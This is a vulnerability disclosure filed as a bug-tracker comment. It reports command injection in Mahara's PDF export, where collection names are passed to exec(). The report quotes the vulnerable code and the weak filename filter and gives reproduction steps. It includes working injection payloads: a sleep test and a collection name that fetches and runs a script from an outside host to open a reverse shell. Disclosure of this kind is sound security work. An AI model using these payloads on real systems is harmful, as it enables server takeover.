Comment 0 for bug 1942903

Hi team, I hope you're doing well! When the experimental PDF export feature is enabled, a user can craft a malicious collection in Mahara and trigger the command injection issue when an admin exports the attacker's data (either specifically or by exporting the institution the attacker belongs to).

This was tested yesterday (2021-09-06) using the docker-compose file in the master branch of https://git.mahara.org/mahara/mahara/-/tree/master/docker

## Steps To Reproduce:

URLs will be using `http://localhost:6142/mahara/` as that's my local instance's URL. Modify the base URL to fit your environment.

### Setup

1. Login as administrator
2. Go to the Plugin Administration page `http://localhost:6142/mahara/admin/extensions/plugins.php` and enable PDF at the bottom right of the page (installing some prerequisites on the server might be necessary, the plugins page should have instructions)

### Exploitation

1. As the attacker (normal user account), create a collection named `;sleep${IFS}100;`
2. As the administrator go to the bulk export page `http://localhost:6142/mahara/admin/users/bulkexport.php`
3. Choose `PDF files of pages and collections` as the export format
4. Set the attacker's username in `Usernames to export`
5. Click `Export Accounts` and observe the 100 seconds delay in processing

See the following section for a reverse shell example

## Details

The issue comes from https://git.mahara.org/mahara/mahara/-/blob/master/htdocs/export/pdf/lib.php#L298

```php
                $collectionname = $this->collections[$collectionid]->get('name');
                $collectionname = parent::text_to_filename($collectionname);
                if ($combiner == 'pdfunite') {
                    exec('pdfunite ' . implode(' ', $collection) . ' ' . $pdfdirectory . '/' . $collectionid . '_' . $collectionname . '.pdf', $output);
                }
```

`$collectionname` is user controlled and the sanitization allows just enough characters to be able to inject commands

https://git.mahara.org/mahara/mahara/-/blob/master/htdocs/export/html/lib.php#L372-L375

```php
    public static function text_to_filename($text) {
        // truncates the text and replaces NOT allowed characters to hyphens
        return preg_replace('#["()*/:<>?\\| ]+#', '-', mb_substr($text, 0, parent::MAX_FILENAME_LENGTH, 'utf-8'));
    }
```

In this video the malicious collection name was

```bash
;cd$IFS`mktemp$IFS-d`;curl${IFS}192.168.1.75$IFS-o${IFS}a.sh;bash${IFS}a.sh;
```

and it triggered a reverse shell, see attached video. Note that I had to install curl on my server to make it work, but that's likely to be present on a real system.

Suggested CVSS: AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H 8.0

`AC:H` because of the setting that's likely to be disabled, `PR:L` because the payload is injected as a regular user, `UI:R` as it's triggered by an admin export, `S:C` as it impact everything on the server once a reverse shell is obtained.

Let me know if you need anything else!

Dominic